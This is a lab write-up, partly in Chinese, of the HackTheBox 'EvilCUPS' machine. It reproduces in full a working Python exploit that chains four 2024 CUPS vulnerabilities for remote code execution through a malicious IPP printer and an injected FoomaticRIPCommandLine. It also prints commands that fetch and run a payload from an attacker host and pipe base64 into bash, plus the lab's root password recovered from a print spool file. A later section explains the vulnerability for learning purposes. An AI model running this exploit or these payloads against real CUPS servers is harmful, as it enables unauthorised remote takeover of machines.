HackTheBox - Machine - EvilCUPS

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

EvilCUPS

其實看名字就知道是最近的 CUPS 漏洞,所以可以直接去搜索CUPS漏洞的使用方法。

image

最近的 CUPS 漏洞引起了廣泛關注,特別是 CVE-2024 系列漏洞,這些漏洞涉及 CUPS(通用打印系統)的多個組件,並可能導致遠程代碼執行(RCE)。在進行漏洞測試時,首先進行了 TCP 和 UDP 掃描,確認 CUPS 服務運行在 631 端口。通過瀏覽器訪問該端口,發現其版本為 2.4.2,並注意到打印任務文件會存放在臨時目錄中,這為後續的漏洞利用提供了線索。進一步搜索到的 POC(概念驗證)提供了利用該漏洞的具體方法,並經過修改以適應當前環境,最終成功觸發了 RCE,獲得了 shell 訪問權限。分析過程中,發現 CUPS 的作業文件存儲在 /var/spool/cups 目錄下,包含控制文件和數據文件。這些文件的結構和存儲方式為漏洞利用提供了依據,特別是控制文件中包含的 IP 消息和數據文件中的原始打印內容。進一步探索 PPD(PostScript 打印描述)文件的生成過程,發現惡意打印機的屬性可以被利用來覆蓋原有的 cupsFilter2 屬性,從而執行任意命令。透過模擬惡意打印機並傳遞適當的屬性,成功觸發了漏洞。

Nmap

TCP掃描,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sudo nmap -sS -sC -sV -oA save -vv -p- --min-rate 1000 10.129.6.170

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLhyWEKe+YMaLWwGVFwyHt8c6bWzFkIrhtFZYPkBfui0+1IrwnUmA3TZq1yQ9vN7Jn+Id6YxfaXO7CfraX69S/Y=
| 256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICsRxZMgAIyL7cg9PIv83wIGkMGjzbkzS1jktKqQ6Kij
631/tcp open ipp syn-ack ttl 63 CUPS 2.4
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Home - CUPS 2.4.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

UDP掃描,因爲知道 cups 服務在631,所以大致掃描一下就好了。

1
2
3
4
5
6
7
8
9
10
11
12
$ sudo nmap -sU -p 630-635 1000 10.129.6.170
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 02:36 CST
Nmap scan report for 10.129.6.170
Host is up (0.080s latency).

PORT STATE SERVICE
630/udp closed rda
631/udp open|filtered ipp
632/udp closed bmpp
633/udp closed servstat
634/udp closed ginad
635/udp closed mount

Exploit CUPS

來到631的端口,用瀏覽器打開,發現是 cupS 2.4.2​ 版本:

image

裏面有一個任務:

image

這裏好像打印好了一個文件,不過值得一提,關於CUPS打印的文檔首先會放在一個臨時目錄裏面,如果後面可以訪問這裏面的文件,就可以看到打印的内容。

於是網上搜索poc,然後找到了這篇: https://threatprotect.qualys.com/2024/09/27/cups-printing-systems-remote-code-execution-vulnerability-cve-2024-47176-cve-2024-47076-cve-2024-47175-cve-2024-47177/

隨手試一下:

1
echo '0 3 http://10.10.14.62:12345/printers/qualys' | nc -nu 10.129.6.170 631

等待30秒左右,就得到:

image

不過這也證實了確實有漏洞存在,上面的poc中也有github的引用,

image

看到這篇: https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 ,但是這個poc不能直接拿來使用,需要修改,修改後如下,(本篇結尾會講解原理,因爲原理相對複雜所以放在後面)

原理是:先增加打印機,然後使用cups去調用這個惡意打印機,剛好他會看打印機的屬性,有個bug可以觸發RCE。

所以修改脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
def __init__(self, command):
self.command = command
super(MaliciousPrinter, self).__init__()

def printer_list_attributes(self):
attr = {
# rfc2911 section 4.4
(
SectionEnum.printer,
b'printer-uri-supported',
TagEnum.uri
): [self.printer_uri],
(
SectionEnum.printer,
b'uri-authentication-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'uri-security-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'printer-name',
TagEnum.name_without_language
): [b'Main Printer'],
(
SectionEnum.printer,
b'printer-info',
TagEnum.text_without_language
): [b'Main Printer Info'],
(
SectionEnum.printer,
b'printer-make-and-model',
TagEnum.text_without_language
): [b'HP 0.00'],
(
SectionEnum.printer,
b'printer-state',
TagEnum.enum
): [Enum(3).bytes()], # XXX 3 is idle
(
SectionEnum.printer,
b'printer-state-reasons',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'ipp-versions-supported',
TagEnum.keyword
): [b'1.1'],
(
SectionEnum.printer,
b'operations-supported',
TagEnum.enum
): [
Enum(x).bytes()
for x in (
OperationEnum.print_job, # (required by cups)
OperationEnum.validate_job, # (required by cups)
OperationEnum.cancel_job, # (required by cups)
OperationEnum.get_job_attributes, # (required by cups)
OperationEnum.get_printer_attributes,
)],
(
SectionEnum.printer,
b'multiple-document-jobs-supported',
TagEnum.boolean
): [Boolean(False).bytes()],
(
SectionEnum.printer,
b'charset-configured',
TagEnum.charset
): [b'utf-8'],
(
SectionEnum.printer,
b'charset-supported',
TagEnum.charset
): [b'utf-8'],
(
SectionEnum.printer,
b'natural-language-configured',
TagEnum.natural_language
): [b'en'],
(
SectionEnum.printer,
b'generated-natural-language-supported',
TagEnum.natural_language
): [b'en'],
(
SectionEnum.printer,
b'document-format-default',
TagEnum.mime_media_type
): [b'application/pdf'],
(
SectionEnum.printer,
b'document-format-supported',
TagEnum.mime_media_type
): [b'application/pdf'],
(
SectionEnum.printer,
b'printer-is-accepting-jobs',
TagEnum.boolean
): [Boolean(True).bytes()],
(
SectionEnum.printer,
b'queued-job-count',
TagEnum.integer
): [Integer(666).bytes()],
(
SectionEnum.printer,
b'pdl-override-supported',
TagEnum.keyword
): [b'not-attempted'],
(
SectionEnum.printer,
b'printer-up-time',
TagEnum.integer
): [Integer(self.printer_uptime()).bytes()],
(
SectionEnum.printer,
b'compression-supported',
TagEnum.keyword
): [b'none'],

(
SectionEnum.printer,
b'printer-charge-info-uri',
TagEnum.uri
): [f'"\n*FoomaticRIPCommandLine: "{self.command}"\n*cupsFilter2: "application/pdf application/vnd.cups-postscript 0 foomatic-rip'.encode()],


}
attr.update(super().minimal_attributes())
return attr

def operation_printer_list_response(self, req, _psfile):
print("target connected, sending payload ...")
attributes = self.printer_list_attributes()
return IppRequest(
self.version,
StatusCodeEnum.ok,
req.request_id,
attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
print("sending udp packet to %s:%d ..." % (ip, port))

printer_type = 0x00
printer_state = 0x03
printer_uri = 'http://%s:%d/printers/NAME' % (
ipp_server_host, ipp_server_port)
printer_location = 'Office HQ'
printer_info = 'MANESEC'

message = bytes('%x %x %s "%s" "%s"' %
(printer_type,
printer_state,
printer_uri,
printer_location,
printer_info), 'UTF-8')

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
try:
while True:
time.sleep(300)
except KeyboardInterrupt:
return


def run_server(server):
print('malicious ipp server listening on ', server.server_address)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
wait_until_ctrl_c()
server.shutdown()


if __name__ == "__main__":
if len(sys.argv) != 3:
print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
quit()

SERVER_HOST = sys.argv[1]
SERVER_PORT = 12345

#command = "echo 1 > /tmp/I_AM_VULNERABLE"
#command = "curl 10.10.14.62/pwn"
#command = "curl 10.10.14.62/mane -o /tmp/mane ; chmod 777 /tmp/mane ; /tmp/mane"
command = "echo xxxxxxxxxxx | base64 -d | bash"

server = IPPServer((SERVER_HOST, SERVER_PORT),
IPPRequestHandler, MaliciousPrinter(command))

threading.Thread(
target=run_server,
args=(server, )
).start()

TARGET_HOST = sys.argv[2]
TARGET_PORT = 631
send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

print("wating ...")

while True:
time.sleep(1.0)

使用 poc 增加惡意打印機:

1
$ python3 exp.py 10.10.14.62 10.129.6.170 

這樣需要等待30秒,然後等cups增加惡意打印機之後:

image

在網頁上就看到增加好的打印機:

image

利用這個漏洞還需要手動打印一些文件,才可以觸發,好在這裏可以打印測試紙張:

image

這樣子就觸發了RCE:

image

然後就得到了shell:

image

Shell as lp user

從 linpeas 中可以看到,這裏有ppd文件,知道了路徑之後,後面分析poc的時候會用到:

image

很可惜 linpeas 看不到什麽有用的信息,不過還記得一開始有一個打印的文檔嗎,於是就網上搜一下他會放在哪:

image

不過很奇怪,一直沒辦法訪問,原來只允許讀取,不允許列舉目錄下的文件:

image

根據網上的信息可以知道,一般是 /var/spool/cups/d00001-001​ 意思是第一篇文檔 d00001​中的0001​ 頁。

The scheduler stores job files in a spool directory, typically /var/spool/cups. Two types of files will be found in the spool directory: control files starting with the letter “c” (“c00001”, “c99999”, “c100000”, etc.) and data files starting with the letter “d” (“d00001-001”, “d99999-001”, “d100000-001”, etc.) Control files are IPP messages based on the original IPP Print-Job or Create-Job messages, while data files are the original print files that were submitted for printing. There is one control file for every job known to the system and 0 or more data files for each job.

CUPS Design Description

所以:

image

然後看到有個密碼:

image

1
Br3@k-G!@ss-r00t-evilcups

結果就是root用戶的密碼:

image

Analysis POC

1
2
3
4
CVE-2024-47176 | cups-browsed <= 2.0.1 binds on UDP INADDR_ANY:631 trusting any packet from any source to trigger a Get-Printer-Attributes IPP request to an attacker controlled URL.
CVE-2024-47076 | libcupsfilters <= 2.1b1 cfGetPrinterAttributes5 does not validate or sanitize the IPP attributes returned from an IPP server, providing attacker controlled data to the rest of the CUPS system.
CVE-2024-47175 | libppd <= 2.1b1 ppdCreatePPDFromIPP2 does not validate or sanitize the IPP attributes when writing them to a temporary PPD file, allowing the injection of attacker controlled data in the resulting PPD.
CVE-2024-47177 | cups-filters <= 2.0.1 foomatic-rip allows arbitrary command execution via the FoomaticRIPCommandLine PPD parameter.

Attacking UNIX Systems via CUPS, Part I

這裏分爲四個 CVE,本質上來説都是CUPS的組件,然後這些組件串在一起相互利用就變成了RCE。

image

正因爲第二個是直接傳遞給其他組件,所以基本上可以忽略掉。更應該關注第一個,第三個和第四個。

cups-browsed

由於它可以接受來自任何的631端口,只要發出去的請求是CUPS Browse Protocol​ 的格式,就會收到來自服務器的請求。

發送報文的格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ABNF Definition
The following ABNF definition [RFC4234, RFC3986] defines the format of each browse packet:

PACKET = TYPE WSP STATE WSP URI WSP LOCATION WSP INFO WSP
MAKE-AND-MODEL WSP *[ WSP ATTR-NAME "=" ATTR-VALUE ] LF

TYPE = 1*HEXDIG

STATE = "3" / "4" / "5"

URI = "ipp://" ( 1*NAMECHAR / IP-literal / IPv4address )
[ ":" 1*DIGIT ] ( "/printers/" / "/classes/" ) 1*NAMECHAR
NAMECHAR = %x21.22.24.26-2E.30-7E / %x25 HEXDIG HEXDIG
IP-literal = See RFC 3986
IPv4address = See RFC 3986

LOCATION = QUOTED-STRING
INFO = QUOTED-STRING
MAKE-AND-MODEL = QUOTED-STRING

ATTR-NAME = 1*( ALPHA / DIGIT / "-" / "." )
ATTR-VALUE = QUOTED-STRING / 1*UNQUOTE-CHAR

QUOTED-STRING = DQUOTE *QUOTED-CHAR DQUOTE
QUOTED-CHAR = %x20.21.23-5B.5D-7E / UTF8-CHAR / %x5C %x5C / %x5C %x22
UNQUOTE-CHAR = %x21.23-26.28-5B.5D-7E / UTF8-CHAR
UTF8-CHAR = %xC0.DF %x80.BF / %xE0.EF %x80.BF %x80.BF /
%xF0.F7 %x80.BF %x80.BF %x80.BF

CUPS Browse Protocol

PACKET 這一行可以直接忽視掉,如果你的 payload 是 0 3 http://10.10.14.62:12345/printers/qualys​ ,對應上面的表格:

  • TYPE​ 就是 0
  • STATE​ 就是 3
  • URL​ 就是 http://10.10.14.62:12345/printers/qualys​ ,後面的 NAMECHAR​ 就是qualys​,只是名字而已。

儅payload使用udp協議發出去了之後:

1
echo '0 3 http://10.10.14.62:12345/printers/qualys' | nc -nu 10.129.6.170 631

cups-browsed​ 就會以爲你要增加一個遠程打印機,所以CUPS就需要發送 requsted-attribute​ 去請求打印機的相關屬性,比如名字啊,墨水啊等。

image

這些打印機裏一般都運行 IPPServer​ 服務器,儅CUPS的組件cups-browsed​收到打印機的請求后,就會交給 libcupsfilters​ 去獲取屬性,你從上面的圖片中可以看到CUPs發送給打印機請求的數據,然後交給 libppd​ 去保存成一個 ppd 文件。

libppd

libppd​ 會根據打印機會根據打印機收到的報文(也就是打印機的屬性)轉換成一個 ppd 文件,當你需要打印的時候就會使用這個 ppd 文件,一般轉換好之後會放在 /etc/cups/ppd​ 這個目錄裏面:

image

轉換後的文件裏面大概是這樣子的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
*PPD-Adobe: "4.3"
*APRemoteQueueID: ""
*FormatVersion: "4.3"
*FileVersion: "1.28.17"
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PSVersion: "(3010.000) 0"
*LanguageLevel: "3"
*FileSystem: False
*PCFileName: "drvless.ppd"
*Manufacturer: "HP"
*ModelName: "HP 0.00"
*Product: "(HP 0.00)"
*NickName: "HP 0.00, driverless, cups-filters 1.28.17"
*ShortNickName: "HP 0.00"
*DefaultOutputOrder: Normal
*ColorDevice: True
*cupsVersion: 2.4
*cupsSNMPSupplies: False
*cupsLanguages: "en"
*cupsChargeInfoURI: ""
*cupsFilter2: "application/vnd.cups-pdf application/pdf 200 -"
*% Printer did not supply page size info via IPP, using defaults
*OpenUI *PageSize/Media Size: PickOne
*OrderDependency: 10 AnySetup *PageSize
*DefaultPageSize: Letter
*PageSize Letter/US Letter: "<</PageSize[612 792]>>setpagedevice"
*PageSize Legal/US Legal: "<</PageSize[612 1008]>>setpagedevice"
*PageSize Executive/Executive: "<</PageSize[522 756]>>setpagedevice"
*PageSize Tabloid/Tabloid: "<</PageSize[792 1224]>>setpagedevice"
*PageSize A3/A3: "<</PageSize[842 1191]>>setpagedevice"
*PageSize A4/A4: "<</PageSize[595 842]>>setpagedevice"
*PageSize A5/A5: "<</PageSize[420 595]>>setpagedevice"
*PageSize B5/JIS B5: "<</PageSize[516 729]>>setpagedevice"
*PageSize EnvISOB5/Envelope B5: "<</PageSize[499 709]>>setpagedevice"
*PageSize Env10/Envelope #10 : "<</PageSize[297 684]>>setpagedevice"
*PageSize EnvC5/Envelope C5: "<</PageSize[459 649]>>setpagedevice"
*PageSize EnvDL/Envelope DL: "<</PageSize[312 624]>>setpagedevice"
*PageSize EnvMonarch/Envelope Monarch: "<</PageSize[279 540]>>setpagedevice"
*CloseUI: *PageSize
*OpenUI *PageRegion/Media Size: PickOne
*OrderDependency: 10 AnySetup *PageRegion
*DefaultPageRegion: Letter
*PageRegion Letter/US Letter: "<</PageSize[612 792]>>setpagedevice"
*PageRegion Legal/US Legal: "<</PageSize[612 1008]>>setpagedevice"
*PageRegion Executive/Executive: "<</PageSize[522 756]>>setpagedevice"
*PageRegion Tabloid/Tabloid: "<</PageSize[792 1224]>>setpagedevice"
*PageRegion A3/A3: "<</PageSize[842 1191]>>setpagedevice"
*PageRegion A4/A4: "<</PageSize[595 842]>>setpagedevice"
*PageRegion A5/A5: "<</PageSize[420 595]>>setpagedevice"
*PageRegion B5/JIS B5: "<</PageSize[516 729]>>setpagedevice"
*PageRegion EnvISOB5/Envelope B5: "<</PageSize[499 709]>>setpagedevice"
*PageRegion Env10/Envelope #10 : "<</PageSize[297 684]>>setpagedevice"
*PageRegion EnvC5/Envelope C5: "<</PageSize[459 649]>>setpagedevice"
*PageRegion EnvDL/Envelope DL: "<</PageSize[312 624]>>setpagedevice"
*PageRegion EnvMonarch/Envelope Monarch: "<</PageSize[279 540]>>setpagedevice"
*CloseUI: *PageSize
*DefaultImageableArea: Letter
*ImageableArea Letter/US Letter: "18 12 594 780"
*ImageableArea Legal/US Legal: "18 12 594 996"
*ImageableArea Executive/Executive: "18 12 504 744"
*ImageableArea Tabloid/Tabloid: "18 12 774 1212"
*ImageableArea A3/A3: "18 12 824 1179"
*ImageableArea A4/A4: "18 12 577 830"
*ImageableArea A5/A5: "18 12 402 583"
*ImageableArea B5/JIS B5: "18 12 498 717"
*ImageableArea EnvISOB5/Envelope B5: "18 12 481 697"
*ImageableArea Env10/Envelope #10 : "18 12 279 672"
*ImageableArea EnvC5/Envelope C5: "18 12 441 637"
*ImageableArea EnvDL/Envelope DL: "18 12 294 612"
*ImageableArea EnvMonarch/Envelope Monarch: "18 12 261 528"
*DefaultPaperDimension: Letter
*PaperDimension Letter/US Letter: "612 792"
*PaperDimension Legal/US Legal: "612 1008"
*PaperDimension Executive/Executive: "522 756"
*PaperDimension Tabloid/Tabloid: "792 1224"
*PaperDimension A3/A3: "842 1191"
*PaperDimension A4/A4: "595 842"
*PaperDimension A5/A5: "420 595"
*PaperDimension B5/JIS B5: "516 729"
*PaperDimension EnvISOB5/Envelope B5: "499 709"
*PaperDimension Env10/Envelope #10 : "297 684"
*PaperDimension EnvC5/Envelope C5: "459 649"
*PaperDimension EnvDL/Envelope DL: "312 624"
*PaperDimension EnvMonarch/Envelope Monarch: "279 540"
*OpenUI *ColorModel/Print Color Mode: PickOne
*OrderDependency: 10 AnySetup *ColorModel
*DefaultColorModel: Gray
*ColorModel FastGray/Fast Grayscale: "<</cupsColorSpace 3/cupsBitsPerColor 1/cupsColorOrder 0/cupsCompression 0/ProcessColorModel /DeviceGray>>setpagedevice"
*ColorModel Gray/Grayscale: "<</cupsColorSpace 18/cupsBitsPerColor 8/cupsColorOrder 0/cupsCompression 0/ProcessColorModel /DeviceGray>>setpagedevice"
*ColorModel RGB/Color: "<</cupsColorSpace 19/cupsBitsPerColor 8/cupsColorOrder 0/cupsCompression 0/ProcessColorModel /DeviceRGB>>setpagedevice"
*CloseUI: *ColorModel
*OpenUI *Duplex/2-Sided Printing: PickOne
*OrderDependency: 10 AnySetup *Duplex
*DefaultDuplex: None
*Duplex None/Off: "<</Duplex false>>setpagedevice"
*Duplex DuplexNoTumble/On (Portrait): "<</Duplex true/Tumble false>>setpagedevice"
*Duplex DuplexTumble/On (Landscape): "<</Duplex true/Tumble true>>setpagedevice"
*CloseUI: *Duplex
*DefaultResolution: 300dpi
*cupsFilter2: "application/vnd.cups-pdf application/pdf 0 -"

那麽問題來了,他是如何轉換屬性的呢?

從源碼裏面可以看到: https://github.com/OpenPrinting/libppd/blob/0d90320157135b9ec585617e1545793b274c7f82/ppd/ppd-generator.c#L299

image

他單純的負責儅苦力工,從打印機的屬性中獲取一些屬性,直接轉換成ppd并且直接寫入到文件裏面,

儅有一個惡意打印機的屬性是 printer-more-info​ 為 mane\n*AAAAAAAAAAA: BBBBBBB​,保存到文件之後就會變成:

1
2
3
4
.................
*APSupplies: mane
*AAAAAAAAAAA: BBBBBBB
.................

這樣就可以控制半個文件裏面的内容。

cups-filters

在打印的時候,foomatic-rip​ 會檢查 ppd裏面有沒有 FoomaticRIPCommandLine​ 這個屬性,如果有就會執行一些命令,但是有一個前提條件:

image

參考:https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1

他要求在 ppd​ 文件裏面告訴 CUPS 使用哪個文件執行命令,也就是 cupsFilter2​,換句話說這個 ppd​ 文件裏面需要有兩行:

1
2
*FoomaticRIPCommandLine: "echo 1 > /tmp/PWNED"
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip"

但原本的 ppd​ 文件裏面就有定義 cupsFilter2​ (請看上面 ppd 文件),如果要覆蓋這個cupsFilter2​的話,必須要在原本的 cupsFilter2​ 之前定義 cupsFilter2​。

image

必須要在原本ppd 文件的 cupsFilter2​ 之前值插入,才可以修改 cupsFilter2​ 這個值,屬於先定義先得的概念。

image

Which attributes can be controlled

那麽問題又來了,從上面的信息中可以得知,必須要在cupsFilter2​ 之前插入,所以根據源代碼可以得知:

image

cupsFilter2​ 最有可能在代碼的 720 行之前插入,也就是說在720行之前是打印機屬性都可以拿來使用,所以這裏就直接從源代碼上面取幾個可能的屬性:

1
2
3
printer-more-info
printer-charge-info-uri
printer-privacy-policy-uri

Making Exploit

所以接下來的思路就很清楚,我要模擬一個惡意的打印機,并把這些屬性帶給CUPS服務器,這裏就隨便參考一下原本的POC:

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8

image

但是原本的poc少了點東西,所以可以藉鑒:https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1

於是改成 def operation_printer_list_response(self, req, _psfile):

另外這個poc上用的是 printer-privacy-policy-uri​ ,但是後來發現并沒有寫進去 ppd 文件裏面,不過改成 printer-more-info​ 或者 printer-charge-info-uri​ 后就成功了。

改好的poc就和上面使用的poc一樣。

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!

發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)

Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)